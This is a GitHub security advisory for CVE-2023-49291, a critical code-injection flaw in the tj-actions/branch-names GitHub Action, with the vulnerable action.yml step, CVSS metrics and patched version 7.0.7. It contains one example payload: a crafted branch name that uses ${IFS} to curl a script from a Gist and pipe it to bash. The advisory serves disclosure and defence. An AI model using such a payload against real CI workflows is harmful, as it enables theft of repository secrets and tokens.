Skip to content

tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

Critical severity GitHub Reviewed Published Dec 4, 2023 in tj-actions/branch-names • Updated Dec 7, 2023

Package

actions tj-actions/branch-names (GitHub Actions)

Affected versions

< 7.0.7

Patched versions

7.0.7

Description

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

References

@jackton1 jackton1 published to tj-actions/branch-names Dec 4, 2023
Published by the National Vulnerability Database Dec 5, 2023
Published to the GitHub Advisory Database Dec 5, 2023
Reviewed Dec 5, 2023
Last updated Dec 7, 2023

Severity

Critical
9.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N

Weaknesses

CVE ID

CVE-2023-49291

GHSA ID

GHSA-8v8w-v8xg-79rf

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.